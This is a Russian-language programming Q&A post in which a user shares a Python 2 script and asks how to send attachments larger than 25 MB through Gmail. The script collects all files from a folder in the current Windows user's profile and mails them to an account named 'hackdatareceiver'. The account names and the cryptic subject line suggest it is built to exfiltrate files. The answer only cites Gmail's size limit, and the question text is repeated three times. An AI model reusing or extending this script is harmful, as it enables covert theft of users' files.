Я хочу отправить файл через Gmail, и у меня возникли проблемы - PullRequest
0 голосов
/ 27 апреля 2018

Я хочу отправить файл через Gmail, и у меня возникают проблемы

Я хочу отправить файл через Gmail, и у меня возникают проблемы

Я хочу отправить файл через Gmail, и у меня возникают проблемы


Я заменил gmail и пароли, но проблема не решилась

Я заменил gmail и пароли, но проблема не решилась

Я заменил gmail и пароли, но проблема не решилась


Возможно, есть проблема с адресами. Пожалуйста, помогите мне

Возможно, есть проблема с адресами. Пожалуйста, помогите мне

Возможно, есть проблема с адресами. Пожалуйста, помогите мне


моя ошибка:

Traceback (most recent call last):
File "C:\Users\Michael\Desktop\windows.information.py", line 83, in <module>
filenames)
File "C:\Users\Michael\Desktop\windows.information.py", line 75, in mail
mailServer.sendmail(gmail_user, to, msg.as_string())
File "C:\Program Files 1\Python2\lib\smtplib.py", line 737, in sendmail
raise SMTPSenderRefused(code, resp, from_addr)
smtplib.SMTPSenderRefused: (552, "5.2.3 Your message exceeded Google's message size limits. Please visit\n5.2.3  https://support.google.com/mail/?p=MaxSizeError to view our size\n5.2.3 guidelines. f192sm642881wmg.14 - gsmtp", 'hackdatasender@gmail.com')

мой скрипт:

import os
import getpass
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
from email.MIMEBase import MIMEBase
from email import Encoders


windowsDrive = os.environ['WINDIR'].split(":\\")[0]
userName = getpass.getuser()
    # ===== Set up crap for the attachments
files = windowsDrive+':\\Users\\'+userName+'\\windows.information'
filenames = [os.path.join(files, f) for f in os.listdir(files)]
    ## ===== print filenames


    ## ===== Set up users for email
gmail_user = "hackdatasender@gmail.com"
gmail_pwd = "******"
recipients = ['hackdatareceiver@gmail.com']

    # ===== Create Module
def mail(to, subject, text, attach):
   msg = MIMEMultipart()
   msg['hackdatasender@gmail.com'] = gmail_user
   msg['hackdatareceiver@gmail.com'] = ", ".join(recipients)
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   ## ===== get all the attachments
   for file in filenames:
      part = MIMEBase('application', 'octet-stream')
      part.set_payload(open(file, 'rb').read())
      Encoders.encode_base64(part)
      part.add_header('Content-Disposition', 'attachment; filename="%s"' % file)
      msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(gmail_user, gmail_pwd)
   mailServer.sendmail(gmail_user, to, msg.as_string())
   ## ===== Should be mailServer.quit(), but that crashes...
   mailServer.close()

    # ====== send it
mail(recipients,
   "*** M.1.G.0.A.4.W ***",
   "M.1.G.0.A.4.W",
   filenames)

Как отправлять файлы размером более 25 МБ?

1 Ответ

0 голосов
/ 27 апреля 2018

Получаемая ошибка указывает на то, что отправляемый файл слишком велик.

Your message exceeded Google's message size limits.

Официальная документация Gmail ( ссылка ) гласит:

Вы можете отправить до 25 МБ во вложениях. Если у вас есть более одного вложения не могут превышать 25 МБ.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...